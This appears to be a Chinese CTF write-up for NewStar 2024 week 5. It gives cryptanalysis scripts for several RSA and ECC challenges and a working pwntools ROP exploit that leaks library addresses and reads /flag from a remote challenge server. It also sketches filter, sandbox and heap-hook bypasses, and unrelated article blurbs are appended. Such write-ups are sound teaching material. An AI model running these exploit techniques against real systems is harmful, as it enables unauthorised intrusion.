北京网站建设 网站维护/app下载免费安装
每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。
Crypto
没e也能完
这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))
格格你好棒
给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出
3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)
for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))
这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。
easy_ECC
把给的数代进去就行
#C1 = m + r*K = m +r*k*G = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}
RSA?md5!
flag就差7个字节,copper一下就行
hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}
学以致用
3个方程2个未知数,度又很低,直接求groebner_basis
gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}
PWN
C_or_CPP
先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了
from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0, pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()
simple_shellcode
以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。
然后对于沙箱用openat代替read用mmap代替read用writev代码write
no_output
对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。
当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。
Elden_Ring
两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256
第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook
相关文章:

[NewStar 2024] week5完结
每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。 Crypto 没e也能完 这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p)) 格格你好棒 给了a,b和提示((p2*r) * 3*a q) % b < 70 其中r…...

IntelliJ IDEA的快捷键
IntelliJ IDEA 是一个非常强大的集成开发环境,它提供了大量的快捷键来加速开发者的日常工作。这里为您整理了一份 IntelliJ IDEA 的快捷键大全,包含了编辑、导航、重构、运行等多个方面的快捷键。请注意,这些快捷键是基于 Windows 版本的 Int…...

暮雨直播 1.3.2 | 内置直播源,频道丰富,永久免费
暮雨直播是一款内置直播源的电视直播应用程序,提供丰富的频道内容,包括教学、首页、一线、博主、解说、动漫、堆堆等。该应用的内置直播源持续更新维护,确保用户可以稳定地观看各种电视频道。暮雨直播承诺永久免费,为用户提供了一…...

单相锁相环,原理与Matlab实现
单相锁相环基本原理 单相锁相环的基本原理图如下所示, u α u_\alpha uα u β u_\beta uβ经Park变换、PI控制实现对角频率 ω \omega ω和角度 θ \theta θ的估算。不同锁相环方案之间的差异,主要表现在正交电压 u β u_\beta uβ的生成&#x…...

PICO+Unity 用手柄点击UI界面
如果UI要跟随头显,可将Canvas放置到XR Origin->Camera Offset->Main Camera下 1.Canvas添加TrackedDeviceGraphicRaycaster组件 2.EventSystem移动默认的Standard Input Module,添加XRUIInputModule组件 3.(可选)设置射线可…...

Rust移动开发:Rust在iOS端集成使用介绍
iOS调用Rust 上篇介绍了 Rust移动开发:Rust在Android端集成使用介绍, 这篇主要看下iOS上如何使用Rust,Rust可以给移动端开发提供跨平台,通用组件支持。 该篇适合对iOS、Rust了解,想知道如何整合调用和编译的,如果想要…...

虚拟现实技术在旅游行业的应用
💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 引言 虚拟现实技术概述 定义与原理…...

《Java核心技术 卷I》Swing使用颜色
使用颜色 使用Graphics2D类的setPaint方法可以为图形上下文上的所有后续的绘制操作选择颜色。例如: g2.setPaint(Color.RED); g2.drawString("Warning!",100,100); 可以用一种颜色填充一个封闭图像(例如:矩形或椭圆)的内部。为此ÿ…...

神书《从零构建大模型》分享,尚未发布,GitHub标星22k!!
《从零构建大模型》是一本即将于今年10月底发布的书籍,github已经吸引了惊人的21.7k标星!作者是威斯康星大学麦迪逊分校的终身教授,在GitHub、油管、X上拥有大量粉丝,是一位真正的大佬。 本书免费获取地址 在本书中࿰…...

【JavaEE进阶】Spring AOP 原理
在之前的博客中 【JavaEE进阶】Spring AOP使用篇_aop多个切点-CSDN博客 我们主要学习了SpringAOP的应用, 接下来我们来学习SpringAOP的原理, 也就是Spring是如何实现AOP的. SpringAOP 是基于动态代理来实现AOP的,咱们学习内容主要分以下两部分 1.代理模式 2.Spring AOP源码剖…...

【网络安全】2.3 安全的网络设计_2.防御深度原则
文章目录 一、网络架构二、网络设备三、网络策略四、处理网络安全事件五、实例学习:安全的网络设计结论 网络设计是网络安全的基础,一个好的网络设计可以有效的防止攻击者的入侵。在本篇文章中,我们将详细介绍如何设计一个安全的网络&#…...

测绘程序设计|C#字符串及其操作|分割|取子串|格式化数值|StringBuilder类
由于微信公众号改变了推送规则,为了每次新的推送可以在第一时间出现在您的订阅列表中,记得将本公众号设为星标或置顶喔~ 简单介绍了C#字符串分割、取子串、拼接、格式化数值以及StringBuilder类,拿捏测绘程序设计大赛~ 🌿前言 字…...

自然语言处理——Hugging Face 详解
Hugging Face 是一个以自然语言处理(NLP)为核心的人工智能平台和开源社区,提供了一系列非常流行的机器学习工具和预训练模型,尤其在文本生成、分类、翻译、情感分析等任务中表现出色。Hugging Face 旗下最为著名的项目是 Transfor…...

本地保存mysql凭据实现免密登录mysql
本地保存mysql凭据 mysql加密登录文件简介加密保存mysql用户的密码到本地凭据 mysql加密登录文件简介 要在 mysql客户端 上连接 MySQL 而无需在命令提示符上输入用户名和口令,下列三个位置可用于存储用户的mysql 凭证来满足此要求。 配置文件my.cnf或my.ini /etc…...

Ubuntu 22 安装 Apache Doris 3.0.3 笔记
Ubuntu 22 安装 Apache Doris 3.0.3 笔记 1. 环境准备 Doris 需要 Java 17 作为运行环境,所以首先需要安装 Java 17。 sudo apt-get install openjdk-17-jdk -y sudo update-alternatives --config java在安装 Java 17 后,可以通过 sudo update-alter…...

构建智能防线 灵途科技光电感知助力轨交全向安全防护
10月27日,在南京南站至紫金山东站间的高铁联络线上,一头野猪侵入轨道,与D5515次列车相撞,导致设备故障停车。 事故不仅造成南京南站部分列车晚点,还在故障排查过程中导致随车机械师因被邻线限速通过的列车碰撞而不幸身…...

【go从零单排】泛型(Generics)、链表
🌈Don’t worry , just coding! 内耗与overthinking只会削弱你的精力,虚度你的光阴,每天迈出一小步,回头时发现已经走了很远。 📗概念 在Go语言中,泛型(Generics)允许你编写可以处理…...

IoTDB 与 HBase 对比详解:架构、功能与性能
五大方向,洞悉 IoTDB 与 HBase 的详尽对比! 在物联网(IoT)领域,数据的采集、存储和分析是确保系统高效运行和决策准确的重要环节。随着物联网设备数量的增加和数据量的爆炸式增长,开发者和决策者们需要选择…...

推荐一款ETCD桌面客户端——Etcd Workbench
Etcd Workbench 我相信很多人在开始管理ETCD的时候都去搜了Etcd客户端工具,然后找到了官方的Etcd Manager,但用完之后发现它并不好用,还不支持多连接和代码格式化,并且已经好几年不更新了,于是市面上就有了好多其他客…...

01 Oracle 数据库存储结构深度解析:从数据文件到性能优化的全链路探究
文章目录 Oracle 数据库存储结构深度解析:从数据文件到性能优化的全链路探究一、Oracle存储结构的物理层次1.1 控制文件(Control File)1.2 联机重做日志文件(Online Redo Log File)1.3 数据文件(Data File&…...

AI教育革命:个性化学习的新篇章
内容概要 在 教育 领域,人工智能 的崭露头角带来了前所未有的变化。如今,个性化学习 已不再是一个遥不可及的梦想,而是通过 AI 技术真正实现的可能。借助先进的数据分析能力,教师可以实时跟踪和评估每位学生的学习进度࿰…...

【网络原理】万字详解 UDP 和 TCP
🥰🥰🥰来都来了,不妨点个关注叭! 👉博客主页:欢迎各位大佬!👈 文章目录 1. UDP1.1 UDP 报文格式1.1.1 源端口/目的端口1.1.2 报文长度1.1.3 校验和 2. TCP2.1 TCP 报文结构2.2 TCP 特…...

从零开始搭建Halo个人博客
前言 老话说得好,好记性不如烂笔头。对于程序员来说,学无止境,需要学习的东西很多,而如果不记录下来可能过不了多久就忘记了,而记录下来这一步也能很好地贯彻费曼学习法。 其实网上有很多博客平台,但是自…...

AMD显卡低负载看视频掉驱动(chrome edge浏览器) 高负载玩游戏却稳定 解决方法——关闭MPO
2024.11.9更新 开关mpo ulps 感觉有用但是还是掉驱动,现在确定是window顶驱动问题 按网上的改注册表和组策略会让自己也打不上驱动 目前感觉最好的办法就是,重置此电脑,然后你就摆着电脑挂个十分钟半小时别动,一开始他是不显示…...

数据结构——二叉树(续集)
♥♥♥~~~~~~欢迎光临知星小度博客空间~~~~~~♥♥♥ ♥♥♥零星地变得优秀~也能拼凑出星河~♥♥♥ ♥♥♥我们一起努力成为更好的自己~♥♥♥ ♥♥♥如果这一篇博客对你有帮助~别忘了点赞分享哦~♥♥♥ ♥♥♥如果有什么问题可以评论区留言或者私信我哦~♥♥♥ ✨✨✨✨✨✨个人…...

ElasticSearch学习篇16_《检索技术核心20讲》进阶篇之空间检索
背景 学习极客实践课程《检索技术核心20讲》https://time.geekbang.org/column/article/215243,文档形式记录笔记。 相关问题: 查询范围固定的需求 直接计算两点之间距离区域二进制编码GeoHash编码 查询范围不固定的需求 GeoHash编码索引结构设计 基于…...

uni-app跨域set-cookie
set-cookie的值是作为一个权限控制的 首先,无论什么接口都会返回一个set-cookie,但未登录时,set-cookie是没有任何权限的 其次,登录接口请求时会修改set-cookie,并且在后续其他接口发起请求时,会在请求头…...

移动应用开发:简易登录页
文章目录 简介一,创建新活动二,设计UI布局三,编写活动代码四,运行应用程序注意 简介 使用Android Studio编写的简单Android 登录应用程序,该应用程序包含一个登录界面,具有账号和密码两个文本框࿰…...

C++_ C++11的override和final
文章目录 1. override 关键字2. final 关键字在虚函数上使用 final在类上使用 final 1. override 关键字 用于明确表示派生类中的某个虚函数是用来重写基类中的虚函数的,这样编译器会检查基类,看看是否确实存在同样的虚函数,如果没有匹配&am…...

【MyBatis源码】SQL 语句构建器AbstractSQL
文章目录 介绍org.apache.ibatis.jdbc.SQLSQL类使用示例SelectProvider搭配动态SQLAbstractSQL类源码分析 介绍 当我们需要使用Statement对象执行SQL时,SQL语句会嵌入Java代码中。SQL语句比较复杂时,我们可能会在代码中对SQL语句进行拼接,查…...